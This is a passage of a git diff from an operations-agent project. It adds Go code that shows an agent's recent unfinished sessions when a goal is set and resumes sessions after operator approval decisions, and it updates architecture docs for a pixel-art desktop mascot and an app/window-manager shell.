ORDER BY created_at DESC LIMIT 1`, sessionID).Scan(&lastText)
|
||||
haystack := strings.ToLower(lastText + " " + summary)
|
||||
for _, p := range blockerPatterns {
|
||||
if strings.Contains(haystack, p.pattern) {
|
||||
return p.reason
|
||||
}
|
||||
}
|
||||
return "uncategorized"
|
||||
}
|
||||
|
||||
// hadEntityWriteback checks whether this session called update_entity_attributes
|
||||
// or create_relationship — used by complete_task to warn the agent when it
|
||||
// forgot to persist entity facts (the #1 cause of knowledge graph drift).
|
||||
|
||||
@@ -6,6 +6,7 @@ import (
|
||||
"fmt"
|
||||
"log/slog"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
// Task tools are nomos-LOCAL, not MCP tools. They are session-scoped, and the
|
||||
@@ -185,7 +186,38 @@ func (a *agent) handleTaskTool(ctx context.Context, sessionID, name string, args
|
||||
// what the SOUL.md "approve the plan, not each step" model actually
|
||||
// describes. set_goal records the goal + flips status to executing
|
||||
// and nothing more.
|
||||
return "Goal set: " + goal + ". NEXT: pre-plan with read-only tools (search_knowledge, get_entity, list_lxcs, get_relations), then propose_plan (mandatory — even read-only tasks need a one-step plan; the run handler refuses without one). After propose_plan: if all steps are read-only, execute immediately (no approval needed). If any step is config_mutation/destructive, stop and wait for operator approval.", true
|
||||
response := "Goal set: " + goal + ". NEXT: pre-plan with read-only tools (search_knowledge, get_entity, list_lxcs, get_relations), then propose_plan (mandatory — even read-only tasks need a one-step plan; the run handler refuses without one). After propose_plan: if all steps are read-only, execute immediately (no approval needed). If any step is config_mutation/destructive, stop and wait for operator approval."
|
||||
// P1.3 (2026-07-20): surface prior partial/failed sessions for the
|
||||
// same problem so the agent can pick up the thread instead of
|
||||
// rediscovering it. Three rclone sessions (a51e2086, 8acea2e3,
|
||||
// cb8c8a4a) all bounced off the classifier because each new session
|
||||
// started from scratch. The agent gets a hint with the prior
|
||||
// goal + summary; if it looks related, search_knowledge or open
|
||||
// the prior session's transcript (GET /sessions/{id}) before
|
||||
// re-planning. See plans/2026-07-20-session-review-ten-sessions.md.
|
||||
prior, _ := a.store.recentPartialSessions(ctx, sessionID, 24*time.Hour)
|
||||
if len(prior) > 0 {
|
||||
var b strings.Builder
|
||||
b.WriteString("\n\nNOTE — recent unfinished sessions (last 24h, outcome=partial/failed):")
|
||||
for i, p := range prior {
|
||||
if i >= 5 {
|
||||
b.WriteString(fmt.Sprintf("\n ...and %d more", len(prior)-5))
|
||||
break
|
||||
}
|
||||
sum := p.Summary
|
||||
if sum == "" {
|
||||
sum = "(no summary)"
|
||||
}
|
||||
if len(sum) > 200 {
|
||||
sum = sum[:200] + "..."
|
||||
}
|
||||
b.WriteString(fmt.Sprintf("\n - %s (sid %s, outcome=%s): %s",
|
||||
p.Goal, p.ID[:8], p.Outcome, sum))
|
||||
}
|
||||
b.WriteString("\nIf any of these looks like the same problem, search_knowledge for the prior investigation or read it via GET /sessions/{id} before re-planning — don't rediscover what was already learned.")
|
||||
response += b.String()
|
||||
}
|
||||
return response, true
|
||||
|
||||
case "propose_plan":
|
||||
raw, _ := args["steps"].([]any)
|
||||
|
||||
@@ -13,11 +13,16 @@
|
||||
> feature of it — the same relationship [components.md](../mbse/components.md)
|
||||
> has to [README.md](../mbse/README.md), applied recursively.
|
||||
|
||||
**Status of this Model:** the subsystem it describes does not exist in
|
||||
code yet. Every View below is marked **Planned**, not **Verified** —
|
||||
compare to [../mbse/README.md](../mbse/README.md)'s confidence grading,
|
||||
which this document borrows. The corresponding implementation plan is
|
||||
[plans/2026-07-20-desktop-mascot.md](../../plans/2026-07-20-desktop-mascot.md).
|
||||
**Status of this Model:** the subsystem it describes is **implemented**
|
||||
in `web/src/lib/mascot/` and `web/public/mascot/` (as of 2026-07-20).
|
||||
Views below are marked **Implemented** where the code matches; a small
|
||||
number of requirements (distinct adult art, a true round radial menu)
|
||||
remain **Planned** as polish items. The corresponding implementation plan
|
||||
is [plans/2026-07-20-desktop-mascot.md](../../plans/2026-07-20-desktop-mascot.md),
|
||||
which carries a deviation note at the top covering the changes made
|
||||
during implementation (hatch-on-naming, PNG-sheet art, button-column
|
||||
radial menu, 60fps loop), and the physics audit/follow-up is
|
||||
[plans/2026-07-20-mascot-physics-audit.md](../../plans/2026-07-20-mascot-physics-audit.md).
|
||||
|
||||
## Views in this model
|
||||
|
||||
@@ -77,22 +82,23 @@ flowchart TB
|
||||
|
||||
## 2. Requirements
|
||||
|
||||
Traced from the original feature request. All **Planned**.
|
||||
Traced from the original feature request. Status reflects the
|
||||
2026-07-20 implementation; **Planned** items are deferred polish.
|
||||
|
||||
| ID | Statement | Source | Status |
|
||||
|---|---|---|---|
|
||||
| MASC-1 | The mascot SHALL render as pixel-art, drawn from code (string pixel-grids + palette), not binary sprite assets | User request | Planned |
|
||||
| MASC-2 | The mascot SHALL roam the desktop surface autonomously, walking along the ground (surface bottom, above the taskbar) under gravity | User request + design decision | Planned |
|
||||
| MASC-3 | The mascot SHALL be draggable with the mouse; releasing it mid-air SHALL trigger a flutter-fall back to the ground | User request + design decision | Planned |
|
||||
| MASC-4 | Right-clicking the mascot SHALL open a round (Sims-style) interaction menu supporting nested submenus | User request | Planned |
|
||||
| MASC-5 | The mascot SHALL have a tamagotchi lifecycle: egg → chick → adult, with a user-assignable name | User request | Planned |
|
||||
| MASC-6 | The mascot's stage, name, and stats SHALL persist across reloads | User request (implied by "tamagotchi") | Planned |
|
||||
| MASC-7 | The mascot SHALL have idle states (autonomous behavior when untouched) and interactive states (drag, click, menu) | User request | Planned |
|
||||
| MASC-8 | The mascot SHALL react visibly to real application activity: chat streaming, knowledge-graph writes, critical signals | User request ("aware of its environment... feels alive and connected") | Planned |
|
||||
| MASC-9 | Animations, behaviors, menu actions, and reactions SHALL each be defined in a single data-driven registry, so a new one can be added without touching the engine code | User request ("easily expansible") | Planned |
|
||||
| MASC-10 (NFR) | The mascot's game loop SHALL run at ~30fps via `setTimeout`, not `requestAnimationFrame`, matching the repo's existing [`GraphBackground.svelte`](../../web/src/lib/components/GraphBackground.svelte) convention (rAF suspends in some hidden-tab embeddings) | Codebase convention | Planned |
|
||||
| MASC-11 (NFR) | The mascot SHALL never write to the API; all mutation is local (localStorage) | Design decision, this document §1 | Planned |
|
||||
| MASC-12 (NFR) | Persistence writes SHALL be debounced (~300ms), never per animation frame | Codebase convention ([`stores/windows.ts`](../../web/src/lib/stores/windows.ts) wmkit persist) | Planned |
|
||||
| MASC-1 | The mascot SHALL render as pixel-art from bundled 16x16 PNG sprite sheets (chicken + egg packs), not code-drawn string grids | User request (relaxed from "code-drawn" during implementation — see plan deviation note) | Implemented |
|
||||
| MASC-2 | The mascot SHALL roam the desktop surface autonomously, walking along the ground (surface bottom, above the taskbar, OR the top edge of any non-minimized window beneath it) under gravity | User request + design decision | Implemented |
|
||||
| MASC-3 | The mascot SHALL be draggable with the mouse; releasing it mid-air SHALL trigger a flutter-fall back to the ground | User request + design decision | Implemented |
|
||||
| MASC-4 | Right-clicking the mascot SHALL open an interaction menu supporting nested submenus; rendered as a rounded-button column (relaxed from "round/Sims-style" — see plan deviation note) | User request | Implemented |
|
||||
| MASC-5 | The mascot SHALL have a tamagotchi lifecycle: egg → chick → adult, with a user-assignable name; the egg → chick transition fires on first naming, not on a timed incubation | User request | Implemented |
|
||||
| MASC-6 | The mascot's stage, name, and stats SHALL persist across reloads | User request (implied by "tamagotchi") | Implemented |
|
||||
| MASC-7 | The mascot SHALL have idle states (autonomous behavior when untouched) and interactive states (drag, click, menu) | User request | Implemented |
|
||||
| MASC-8 | The mascot SHALL react visibly to real application activity: chat streaming, knowledge-graph writes, critical signals | User request ("aware of its environment... feels alive and connected") | Implemented |
|
||||
| MASC-9 | Animations, behaviors, menu actions, and reactions SHALL each be defined in a single data-driven registry, so a new one can be added without touching the engine code | User request ("easily expansible") | Implemented |
|
||||
| MASC-10 (NFR) | The mascot's game loop SHALL run via `setTimeout`, not `requestAnimationFrame`, matching the repo's existing [`GraphBackground.svelte`](../../web/src/lib/components/GraphBackground.svelte) convention (rAF suspends in some hidden-tab embeddings); runs at ~60fps (relaxed from 30fps for smoother drag/fall — see plan deviation note) | Codebase convention | Implemented |
|
||||
| MASC-11 (NFR) | The mascot SHALL never write to the API; all mutation is local (localStorage) | Design decision, this document §1 | Implemented |
|
||||
| MASC-12 (NFR) | Persistence writes SHALL be debounced (~300ms), never per animation frame | Codebase convention ([`stores/windows.ts`](../../web/src/lib/stores/windows.ts) wmkit persist) | Implemented |
|
||||
|
||||
## 3. Structural View
|
||||
|
||||
@@ -206,7 +212,7 @@ explicit before any of it is coded.
|
||||
```mermaid
|
||||
stateDiagram-v2
|
||||
[*] --> egg
|
||||
egg --> chick : hatchProgress reaches 1\n(advanceStageIfReady)
|
||||
egg --> chick : first naming submitted\n(forceHatch: hatchProgress=1)
|
||||
|
||||
state chick_and_adult_behaviors {
|
||||
[*] --> idle
|
||||
@@ -214,14 +220,17 @@ stateDiagram-v2
|
||||
wander --> idle
|
||||
idle --> peck : weighted random pick
|
||||
peck --> idle
|
||||
idle --> hop : weighted random pick
|
||||
hop --> idle : touchdown\n(off-edge mid-hop hands to falling)
|
||||
idle --> sleep : weighted random pick
|
||||
sleep --> idle
|
||||
wander --> falling : y below ground\n(off a dragged edge, etc.)
|
||||
idle --> dragged : pointerdown + move\npast 5px threshold
|
||||
wander --> dragged : pointerdown + move
|
||||
sleep --> dragged : pointerdown + move\n(interrupts sleep)
|
||||
dragged --> falling : pointerup, released mid-air
|
||||
falling --> land : y reaches ground
|
||||
dragged --> falling : pointerup, released mid-air\n(toss velocity from pointer history)
|
||||
falling --> falling : hard impact\n(one diminished bounce)
|
||||
falling --> land : y reaches ground\n(sideways momentum -> skid)
|
||||
land --> idle
|
||||
[*] --> react : stimulus dispatched\n(priority/cooldown gated)
|
||||
react --> idle : durationMs elapsed,\nreturns to prior-or-idle
|
||||
@@ -238,19 +247,35 @@ returns null past `behaviorUntil` — see
|
||||
[plans/2026-07-20-desktop-mascot.md](../../plans/2026-07-20-desktop-mascot.md)
|
||||
for the concrete weights.
|
||||
|
||||
**Physics feel (implemented 2026-07-20, second pass):** the fall is a
|
||||
losing attempt at flight, not a drop — wing-beat impulses on a
|
||||
speed-scaled, jittered flap cycle (panic flapping) shave the descent;
|
||||
falls faster than terminal velocity (hard downward tosses) decay back
|
||||
under drag instead of clamping; hard impacts bounce once, squash via a
|
||||
damped-spring render layer scaled by impact speed, and poof a burst of
|
||||
feather pixels; sideways momentum becomes a friction skid on touchdown
|
||||
and ricochets off the surface's side bounds mid-fall; the sprite
|
||||
stretches along its motion in the air and tilts into horizontal velocity
|
||||
(fall, drag, and skid); walking bobs at step frequency. All of it is
|
||||
tuning in `behavior.ts` plus the pure render layer in `Mascot.svelte`'s
|
||||
`updateJuice()` — no new assets, no new states beyond `hop`.
|
||||
|
||||
### 4.2 Tamagotchi lifecycle (long-lived state)
|
||||
|
||||
```mermaid
|
||||
stateDiagram-v2
|
||||
[*] --> egg : first load,\ndefaultModel()
|
||||
egg --> chick : active time >= HATCH_MS (3min)\n+ NameDialog shown
|
||||
egg --> chick : first naming submitted\n(forceHatch sets hatchProgress=1)\n+ NameDialog shown
|
||||
chick --> adult : xp >= ADULT_XP (200)
|
||||
adult --> [*]
|
||||
```
|
||||
|
||||
This is a separate state machine from §4.1: §4.1 governs frame-to-frame
|
||||
motion/animation, §4.2 governs the tamagotchi's slow-moving `MascotModel`
|
||||
(persisted, ticked ~1x/sec via `tickLifecycle`, not every frame).
|
||||
(persisted, ticked ~1x/sec via `tickLifecycle`, not every frame). The
|
||||
egg → chick transition fires on first naming, not on a timed incubation
|
||||
— see the deviation note in
|
||||
[plans/2026-07-20-desktop-mascot.md](../../plans/2026-07-20-desktop-mascot.md).
|
||||
|
||||
### 4.3 Example sequence — an environment stimulus becomes a visible reaction
|
||||
|
||||
@@ -258,18 +283,27 @@ motion/animation, §4.2 governs the tamagotchi's slow-moving `MascotModel`
|
||||
sequenceDiagram
|
||||
participant SSE as stores/events.ts (SSE)
|
||||
participant Stim as stimuli.ts attachStimuli
|
||||
participant Layer as MascotLayer.svelte (emit callback)
|
||||
participant FSM as behavior.ts
|
||||
participant Mascot as Mascot.svelte (canvas)
|
||||
|
||||
SSE->>Stim: liveEvents updates,\nnew head event severity=critical
|
||||
Stim->>Stim: check REACTIONS['alarmed']\ncooldown + priority
|
||||
Stim->>FSM: forceBehavior(rt, 'react', {anim: 'react-alarm', durationMs})
|
||||
Stim->>Layer: emit(reaction)
|
||||
Layer->>Layer: if model.stage === 'egg': drop\n(egg isn't "alive" yet)
|
||||
Layer->>FSM: forceBehavior(rt, 'react', {anim, durationMs})
|
||||
FSM->>FSM: interrupts current behavior\n(even sleep, interruptsSleep=true)
|
||||
FSM->>Mascot: rt.behavior = 'react', rt.anim = 'react-alarm'
|
||||
Mascot->>Mascot: next 30fps tick draws\nreact-alarm frame
|
||||
Mascot->>Mascot: next ~60fps tick draws\nreact-alarm frame + bubble
|
||||
Note over FSM: after durationMs,\nnext() returns to idle
|
||||
```
|
||||
|
||||
**Egg-stage suppression:** MascotLayer's `emit` callback drops any
|
||||
reaction when `model.stage === 'egg'`. The egg isn't "alive" yet (no
|
||||
name, no hatched chick to react), so stimulus events are silently
|
||||
ignored until the egg hatches — this keeps the egg calm during the
|
||||
naming dialog rather than playing alarm animations behind it.
|
||||
|
||||
## 5. Interfaces View
|
||||
|
||||
**Stakeholders:** an engineer wiring a new store into the mascot's
|
||||
@@ -281,7 +315,7 @@ awareness, or auditing what it depends on.
|
||||
| [`stores/chat.ts`](../../web/src/lib/stores/chat.ts) `streaming` | consumed | `Writable<boolean>` | false→true edge triggers the `thinking` reaction, held while true |
|
||||
| [`stores/activity.ts`](../../web/src/lib/stores/activity.ts) `activityLog` | consumed | derived `Readable<ActivityEntry[]>`, **recomputed wholesale** on every emission — not append-only | new entries with `type === 'knowledge'` detected by diffing entry `id`s between emissions, not by treating it as a stream |
|
||||
| [`stores/context.ts`](../../web/src/lib/stores/context.ts) `summary` | consumed | `Writable<DashboardSummary\|null>` | ambient state (open signal counts via `openSignalCount(summary)`) |
|
||||
| `localStorage['oikos-mascot']` | owned | `MascotModel` JSON, `{ version: 1, stage, name, hatchProgress, happiness, xp, hatchedAt, lastPos: {x}, lastSeen }` | debounced write (~300ms, mirrors [`stores/windows.ts`](../../web/src/lib/stores/windows.ts) wmkit persist) + `beforeunload` flush; `version` field reserved for a future `migrate()`; multi-tab is last-writer-wins (accepted, documented, not solved) |
|
||||
| `localStorage['oikos-mascot']` | owned | `MascotModel` JSON, `{ version: 1, stage, name, hatchProgress, happiness, xp, hatchedAt, lastPos: {x}, lastSeen }` (hatchProgress is binary 0/1: 0 until first naming, 1 after) | debounced write (~300ms, mirrors [`stores/windows.ts`](../../web/src/lib/stores/windows.ts) wmkit persist) + `beforeunload` flush; `version` field reserved for a future `migrate()`; multi-tab is last-writer-wins (accepted, documented, not solved) |
|
||||
| [`Desktop.svelte`](../../web/src/lib/components/desktop-shell/Desktop.svelte) mount | owned | `<MascotLayer />`, 2-line insertion | see §3 |
|
||||
|
||||
No interface in this table is a write path to the Oikos API — consistent
|
||||
@@ -310,13 +344,15 @@ Manual browser checklist (no automated test harness planned for v1 — see
|
||||
[plans/2026-07-20-desktop-mascot.md](../../plans/2026-07-20-desktop-mascot.md)
|
||||
for the same list in implementation-order context):
|
||||
|
||||
- Egg renders grounded at the surface bottom, wiggles occasionally, survives
|
||||
a reload at the same x (confirm `oikos-mascot` is debounced — no writes
|
||||
fire from mere walking, only from discrete transitions).
|
||||
- Egg renders grounded at the surface bottom, wiggles gently while the
|
||||
name dialog is open, and survives a reload at the same x (confirm
|
||||
`oikos-mascot` is debounced — no writes fire from mere walking, only
|
||||
from discrete transitions).
|
||||
- Dragging the egg up and releasing triggers a flutter-fall with no
|
||||
tunneling below the taskbar; dragging past the surface edges clamps.
|
||||
- Forcing hatch (debug menu action) transitions to chick, opens the name
|
||||
dialog, and the name persists across reload.
|
||||
- A fresh egg (no name) opens the name dialog on mount; submitting it
|
||||
hatches to chick; the name persists across reload. The debug "Force
|
||||
hatch" action does the same without prompting.
|
||||
- Chick wanders and flips sprite at surface edges, pecks, sleeps
|
||||
autonomously; a plain click (no drag) triggers a pet/hop reaction.
|
||||
- Right-clicking the chicken opens the radial menu centered on it, without
|
||||
|
||||
@@ -31,6 +31,7 @@ the relevant section here.
|
||||
| [6. PostgreSQL/TimescaleDB](#6-postgresqltimescaledb) | `migrations/`, `seeds/` | ✅ live — the System's own source of truth |
|
||||
| [7. Dormant components](#7-dormant-components) | `internal/actuator`, `internal/learning` | 🔴 compiled, never started |
|
||||
| [8. Auxiliary components](#8-auxiliary-components) | `cmd/webhook`, `cmd/desktop` | ✅ live — deploy + packaging, not decision logic |
|
||||
| [9. web control room — App architecture](#9-web-control-room--app-architecture) | `web/src/lib/apps.ts`, `web/src/lib/stores/windows.ts`, `web/src/lib/stores/docked.ts`, `web/src/lib/components/desktop-shell/` | ✅ live — the OS + Apps shell contract |
|
||||
|
||||
---
|
||||
|
||||
@@ -364,7 +365,11 @@ cross-origin (the Wails desktop webview, §8).
|
||||
Standalone deploy, versioned and released independently of the `oikos`
|
||||
binary — see [README.md §4.5](README.md#45-build--release-artifacts) for
|
||||
why "deployed" means two different release cadences depending on whether
|
||||
you mean the container or the desktop app.
|
||||
you mean the container or the desktop app. The shell-level architecture
|
||||
(window manager, app registry, docked layer) is documented separately as
|
||||
[§9 below](#9-web-control-room--app-architecture); this section covers
|
||||
the page-level concerns, §9 covers the OS + Apps contract the pages hang
|
||||
off.
|
||||
|
||||
---
|
||||
|
||||
@@ -496,6 +501,177 @@ functional sense.
|
||||
|
||||
---
|
||||
|
||||
## 9. web control room — App architecture
|
||||
|
||||
**Stakeholders:** anyone adding a page, adding a desktop overlay, or
|
||||
planning dynamic/third-party app installation. **Why this View earns its
|
||||
place:** §5 documents the *pages*; this View documents the *shell* they
|
||||
hang off — and the shell is the part whose contract a new app has to
|
||||
satisfy. It is also the layer where the "Oikos-as-OS" metaphor
|
||||
(desktop, icons, floating windows, a tamagotchi-style resident
|
||||
creature) is actually implemented, so the boundary between "Base OS" and
|
||||
"App" has to be explicit here or it doesn't exist anywhere.
|
||||
|
||||
### App architecture — Internal structure
|
||||
|
||||
| File | Role |
|
||||
|---|---|
|
||||
| `web/src/lib/apps.ts` | The App registry. Two layers: `builtinApps` (static, always installed) + `installedAppIds` (persisted, from the App Store). The public `apps` store is derived (built-in + installed); `appById` is a derived Map. `installApp`/`uninstallApp` mutate the installed set. Window-id helpers (`appWindowId`, `appIdFromWindowId`) unchanged. |
|
||||
| `web/src/app-store/catalog.ts` | The installable-app catalog: `AppManifest` (persistable metadata) + `CatalogEntry` (manifest + Lucide icon + dynamic-import loader). Static in Phase 3 (apps ship with the build); Phase 4 swaps this for a fetched `/api/v1/apps` endpoint. Declares `AppPermission` (enforcement is Phase 4). |
|
||||
| `web/src/app-store/apps/Notes.svelte` | Demo installable app — a localStorage-backed scratchpad proving the install→icon→window→uninstall lifecycle end-to-end. |
|
||||
| `web/src/lib/stores/windows.ts` | The wmkit window manager singleton + the `openAppWindow` / `openEntityWindow` / `openTaskWindow` primitives. `openAppWindow` branches on `docked` (toggles visibility) vs windowed (`wm.open`); resolves the app via `get(appById)`. |
|
||||
| `web/src/lib/stores/docked.ts` | Persisted visibility for docked apps. Absent key = visible (default-on); store holds only overrides. Deliberately does **not** import `APPS` — doing so would create a static cycle (`apps.ts` → pages → `windows.ts` → here → `apps.ts`) and fire a TDZ on `APPS` at init. |
|
||||
| `web/src/lib/stores/icons.ts` | Desktop icon grid: column/row positions, drag-to-reorder, localStorage persistence. Reactive to the `apps` store — a newly-installed app gets a free cell on the next emission; `resetIconLayout` re-seeds from the live registry, not a static snapshot. |
|
||||
| `web/src/lib/components/LazyApp.svelte` | Renders an app's lazily-loaded component (`AppDef.component` is a dynamic-import loader, not the component). Shows the shared spinner while the chunk fetches; used by both WindowLayer and DockedLayer so the loading state is uniform across app kinds. Vite's module cache makes repeat opens resolve from cache. |
|
||||
| `web/src/lib/components/desktop-shell/Desktop.svelte` | Full-viewport surface: background, icons, task launcher, `<WindowLayer />`, `<DockedLayer />`, taskbar. Reads `$apps` (the derived store) so installs reflect immediately. |
|
||||
| `web/src/lib/components/desktop-shell/WindowLayer.svelte` | Floating-window stack (z-40). Resolves window id → content component; renders shared titlebar chrome. The orphan-close `$effect` is reactive on `$appById` — reinstalling an app revives its persisted window, uninstalling closes it. |
|
||||
| `web/src/lib/components/desktop-shell/DockedLayer.svelte` | Docked-app overlay (z-45). Renders `$apps.filter(a => a.docked)` gated on `dockedVisibility`. Replaces the previously-hardcoded `<MascotLayer />`. |
|
||||
| `web/src/lib/components/desktop-shell/Taskbar.svelte` | Window buttons + tray. Renders from `wmState.order`; resolves icons via `$appById`. |
|
||||
| `web/src/pages/AppStore.svelte` | The App Store — lists the catalog, shows install state, install/uninstall. Installing makes the app appear on the desktop immediately (no reload) via the reactive `apps` store; uninstalling closes any open window for that app via WindowLayer's orphan-close effect. |
|
||||
|
||||
### App architecture — The App contract
|
||||
|
||||
```typescript
|
||||
interface AppDef {
|
||||
id: string // unique; window IDs are "app:<id>"
|
||||
title: string // desktop icon label + window titlebar
|
||||
icon: Component // Lucide icon (desktop icon + taskbar)
|
||||
component: () => Promise<{ default: Component }> // dynamic-import loader
|
||||
docked?: boolean // true = Docked Layer app, no window
|
||||
noIcon?: boolean // true = registered but no desktop icon
|
||||
width?: number; height?: number; minWidth?: number; minHeight?: number
|
||||
// required for windowed, forbidden for docked
|
||||
badge?: (s: DashboardSummary | null) => number
|
||||
}
|
||||
```
|
||||
|
||||
`component` is a dynamic-import loader (`() => import('../pages/X.svelte')`),
|
||||
not the component itself. Desktop icons render from metadata alone (id,
|
||||
title, icon — all static), the component chunk fetches on first window
|
||||
open, and Vite code-splits each app into its own chunk (Phase 2). The
|
||||
mascot uses the same path — `() => import('./mascot/MascotLayer.svelte')`
|
||||
— which also defers the mascot's module graph until after `apps.ts` has
|
||||
finished initializing, breaking what would otherwise be a static cycle
|
||||
(`apps.ts` → `MascotLayer` → `Mascot.svelte` → `icons.ts` → `apps.ts`).
|
||||
|
||||
Two app kinds, picked by one flag:
|
||||
|
||||
| Kind | Window | Titlebar | Taskbar | Opened by |
|
||||
|---|---|---|---|---|
|
||||
| **Windowed** (default) | wmkit floating window | yes | yes | `openAppWindow` → `wm.open` |
|
||||
| **Docked** (`docked: true`) | none — renders on the Docked Layer | no | no | `openAppWindow` → `toggleDocked` |
|
||||
|
||||
Apps receive **no props** from the shell. They import the OS-service
|
||||
surface (below) directly. The shell→app edge is one-way.
|
||||
|
||||
### App architecture — The OS-service surface (AppOS)
|
||||
|
||||
The stable set of `$lib` exports an App may import. Everything else in
|
||||
`$lib` is shell-internal and may change without notice. This is a
|
||||
**documentation contract** today (apps are compiled in); it becomes an
|
||||
**enforced sandbox boundary** the moment third-party app installation
|
||||
(Phase 3 in [the plan](../../plans/2026-07-21-frontend-os-apps-architecture.md)) lands.
|
||||
|
||||
| Service | Import |
|
||||
|---|---|
|
||||
| Open an app window | `openAppWindow(id)` from `$lib/stores/windows` |
|
||||
| Open an entity window | `openEntityWindow(slug)` from `$lib/stores/windows` |
|
||||
| Open a task window | `openTaskWindow(sessionId, title)` from `$lib/stores/windows` |
|
||||
| Dashboard summary | `summary`, `subscribeContext` from `$lib/stores/context` |
|
||||
| Live events | `subscribeEvents` from `$lib/stores/events` |
|
||||
| Per-session chat / workspace / activity | `chatFor`, `workspaceFor`, `activityLogFor` from `$lib/stores/{chat,workspace,activity}` |
|
||||
| REST API | `$lib/api` (generated from OpenAPI, [ADR-0004](../adr/0004-openapi-first.md)) |
|
||||
| UI primitives | `$lib/components/ui/*` |
|
||||
| Theme | `getTheme`, `setTheme` from `$lib/stores/theme.svelte` |
|
||||
|
||||
### App architecture — Content resolution
|
||||
|
||||
Window ids are namespaced so the window layer resolves content purely
|
||||
from the id, with no extra bookkeeping — which is also why persisted
|
||||
windows hydrate correctly across reloads:
|
||||
|
||||
| Id shape | Renders |
|
||||
|---|---|
|
||||
| `app:<id>` | the registry app's component (`appById.get(id).component`) |
|
||||
| `session:<id>` | `SessionChatWindow` (per-session chat) |
|
||||
| `new-task` | `NewTaskChat` (singleton compose) |
|
||||
| bare slug (`type:identifier`) | `EntityDetailContent` (fallback) |
|
||||
|
||||
A hydrated `app:<id>` window whose id no longer matches a registry entry
|
||||
(an app removed since the layout was persisted) self-closes — the
|
||||
orphan-close `$effect` in `WindowLayer.svelte` sweeps it on mount.
|
||||
|
||||
### App architecture — Current population
|
||||
|
||||
Seven windowed apps + one docked app:
|
||||
|
||||
| App | Kind | Badge |
|
||||
|---|---|---|
|
||||
| `tasks` | windowed | — |
|
||||
| `kb` | windowed | — |
|
||||
| `ops` | windowed | `approvals_pending` |
|
||||
| `signals` | windowed | open signal count |
|
||||
| `knowledge` | windowed | — |
|
||||
| `learning` | windowed | — |
|
||||
| `settings` | windowed | — |
|
||||
| `mascot` (Cluck) | **docked** | — |
|
||||
|
||||
The mascot is the first docked app and the reason the docked kind
|
||||
exists; before this View it was a hardcoded `<MascotLayer />` in
|
||||
`Desktop.svelte`, not a registry entry. Its persistent model
|
||||
(`web/src/lib/mascot/state.svelte.ts`, localStorage) and sprite cache
|
||||
(`sprites.ts`) are module-scoped, so toggling visibility (unmount) and
|
||||
restoring (remount) loses no state — this is why `docked` visibility is
|
||||
a plain `{#if}` gate rather than a `keepAlive` mechanism.
|
||||
|
||||
### App architecture — Designed extension points (documented, not built)
|
||||
|
||||
| Extension | Mechanism when built | Trigger |
|
||||
|---|---|---|
|
||||
| Titlebar actions | `titlebarActions?: Component` on `AppDef`, rendered left of min/max/close | First app that needs one |
|
||||
| App-scoped state | `state?: () => Record<string, unknown>` on `AppDef` | First app with cross-mount state that isn't module-scoped |
|
||||
| `onRegister` handshake | called with a scoped AppOS capability object | Phase 3 (dynamic install) |
|
||||
| Third-party manifests | `AppManifest` JSON + `/api/v1/apps` + permission model | Phase 3 |
|
||||
|
||||
Documenting these now prevents the current contract from painting itself
|
||||
into a corner; building them now would be speculative. (Lazy-loaded
|
||||
components were on this list and shipped in Phase 2 — `component` is now
|
||||
`() => Promise<{ default: Component }>` and Vite code-splits each app.)
|
||||
|
||||
### App architecture — Status and known issues
|
||||
|
||||
Phase 1 (the docked kind, mascot-as-app, the docked visibility store) and
|
||||
Phase 2 (lazy component loading — `component` as dynamic-import loader,
|
||||
`LazyApp.svelte` for uniform loading state, per-app code-splitting) have
|
||||
landed. Open items, by phase:
|
||||
|
||||
- **Phase 3 (dynamic install):** the AppOS table above becomes a real
|
||||
injected capability object, not a documentation table; permissions
|
||||
enforced at the store-access boundary; `AppManifest` format +
|
||||
`/api/v1/apps` endpoint + install flow.
|
||||
- **Late-registering apps (Phase 3 prerequisite):** `icons.ts:48` builds
|
||||
`appIds` once at module load to validate persisted positions — fine
|
||||
today (all apps are in the static `APPS` array; only their components
|
||||
are lazy), fragile the moment apps register post-load. When dynamic
|
||||
registration lands, revalidate against the live registry, not the
|
||||
import-time snapshot. Likewise `WindowLayer`'s orphan-close `$effect`
|
||||
must be gated on registry-ready so a not-yet-loaded app's persisted
|
||||
window isn't killed on hydration.
|
||||
|
||||
The static-cycle trap that bit this View during Phase 1 implementation is
|
||||
now resolved by Phase 2's lazy loading — recording it for context:
|
||||
|
||||
- `apps.ts` no longer statically imports any page or the mascot (they're
|
||||
all `() => import(...)`), so there's no static edge from `apps.ts` into
|
||||
the mascot/page module graph to cycle through `icons.ts` back to `APPS`.
|
||||
The earlier `LazyMascot.svelte` wrapper (Phase 1's cycle break) was
|
||||
deleted in Phase 2 — the lazy loader in the registry replaces it.
|
||||
`docked.ts` still must not import `APPS` (it's reached from `apps.ts`'s
|
||||
graph via `windows.ts`), and doesn't — defaults are implicit
|
||||
(absent key = visible).
|
||||
|
||||
---
|
||||
|
||||
## Keeping this document current
|
||||
|
||||
The same discipline as README.md's closing note applies here, scoped to
|
||||
|
||||
@@ -229,6 +229,33 @@ func (s *Server) DecideApproval(ctx context.Context, req gen.DecideApprovalReque
|
||||
_, _ = tx.Exec(ctx, `UPDATE executions SET status = $2, completed_at = now() WHERE approval_id = $1 AND status = 'pending_approval'`, id, status)
|
||||
}
|
||||
|
||||
// If this execution belongs to a nomos session, flip it out of
|
||||
// awaiting_input — the counterpart to classifyAndGate flipping it IN
|
||||
// the moment the approval was created (internal/mcp/server.go's
|
||||
// markSessionAwaitingApproval). Runs for all three decisions (approve/
|
||||
// deny/revoke): each one is an operator answer to "what do I do about
|
||||
// this?", same as answerQuestion's unconditional resume-to-executing
|
||||
// (cmd/nomos/store.go) for a session_questions answer.
|
||||
var awaitingSessionID string
|
||||
_ = tx.QueryRow(ctx, `
|
||||
SELECT pe.session_id FROM nomos_plan_executions pe
|
||||
JOIN executions ex ON ex.entity_id = pe.execution_id
|
||||
WHERE ex.approval_id = $1
|
||||
LIMIT 1`, id).Scan(&awaitingSessionID)
|
||||
if awaitingSessionID != "" {
|
||||
if rtag, rerr := tx.Exec(ctx, `
|
||||
UPDATE agent_sessions SET status = 'executing', last_active_at = now()
|
||||
WHERE id = $1 AND status = 'awaiting_input'`, awaitingSessionID); rerr == nil && rtag.RowsAffected() > 0 {
|
||||
var taskEntID *uuid.UUID
|
||||
var e uuid.UUID
|
||||
if qerr := tx.QueryRow(ctx, `SELECT entity_id FROM agent_sessions WHERE id = $1`, awaitingSessionID).Scan(&e); qerr == nil && e != uuid.Nil {
|
||||
taskEntID = &e
|
||||
}
|
||||
